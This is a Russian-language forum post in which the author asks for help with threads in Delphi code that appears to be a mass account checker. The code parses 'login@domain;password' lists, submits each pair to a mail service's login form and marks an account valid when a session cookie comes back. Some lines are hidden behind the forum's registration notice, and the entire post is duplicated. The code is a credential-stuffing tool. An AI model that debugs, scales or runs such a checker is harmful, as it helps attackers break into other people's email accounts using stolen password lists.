pavel!
13.09.2012, 17:32
Проблема с потоками . . .
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^
TNewThread = class(TThread)
private
Login : string;
Domain: string;
Pass: string;
Rez : integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;
Work:=true;
Acc:=-1;
for Thread := 1 to strtoint(form1.sSpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(form1.sSpinEdit1.Text);
procedure TNewThread.Execute;
var
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
CurAcc:integer;
data:tstringlist;
begin
while work do
begin
CS.Enter;
inc(Acc);
if Acc<Source.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if work then
begin
[Ссылки могут видеть только зарегистрированные и активированные пользователи](nil);
[Ссылки могут видеть только зарегистрированные и активированные пользователи] ;
Login:= Copy(Source[CurAcc],1,Pos('@',Source[CurAcc])-1);
Domain:=Copy(Source[CurAcc], Pos('@', Source[CurAcc]) + 1, Pos(';', Source[CurAcc]) - Pos('@',Source[CurAcc]) - 1);
Pass:= Copy(Source[CurAcc],Pos(';',Source[CurAcc])+1,Length(Source[CurAcc]));
data:=tstringlist.Create;
data.add('page=');
data.Add('name='+Login);
data.Add('Domain='+Domain);
data.Add('Pass='+Pass);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
try
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('Zapros ^_^', data);
Rez:=0;
except
if Pos('Set-Cookie: Mpop=', [Ссылки могут видеть только зарегистрированные и активированные пользователи])<>0 then
Rez:=1
else
Rez:=2;
end;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
data.Free;
Synchronize(Sync);
end;
end;
end;
Ребята помогите пожалусто ^_^ :nono:
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^
TNewThread = class(TThread)
private
Login : string;
Domain: string;
Pass: string;
Rez : integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;
Work:=true;
Acc:=-1;
for Thread := 1 to strtoint(form1.sSpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(form1.sSpinEdit1.Text);
procedure TNewThread.Execute;
var
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
CurAcc:integer;
data:tstringlist;
begin
while work do
begin
CS.Enter;
inc(Acc);
if Acc<Source.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if work then
begin
[Ссылки могут видеть только зарегистрированные и активированные пользователи](nil);
[Ссылки могут видеть только зарегистрированные и активированные пользователи] ;
Login:= Copy(Source[CurAcc],1,Pos('@',Source[CurAcc])-1);
Domain:=Copy(Source[CurAcc], Pos('@', Source[CurAcc]) + 1, Pos(';', Source[CurAcc]) - Pos('@',Source[CurAcc]) - 1);
Pass:= Copy(Source[CurAcc],Pos(';',Source[CurAcc])+1,Length(Source[CurAcc]));
data:=tstringlist.Create;
data.add('page=');
data.Add('name='+Login);
data.Add('Domain='+Domain);
data.Add('Pass='+Pass);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
try
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('Zapros ^_^', data);
Rez:=0;
except
if Pos('Set-Cookie: Mpop=', [Ссылки могут видеть только зарегистрированные и активированные пользователи])<>0 then
Rez:=1
else
Rez:=2;
end;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
data.Free;
Synchronize(Sync);
end;
end;
end;
Ребята помогите пожалусто ^_^ :nono: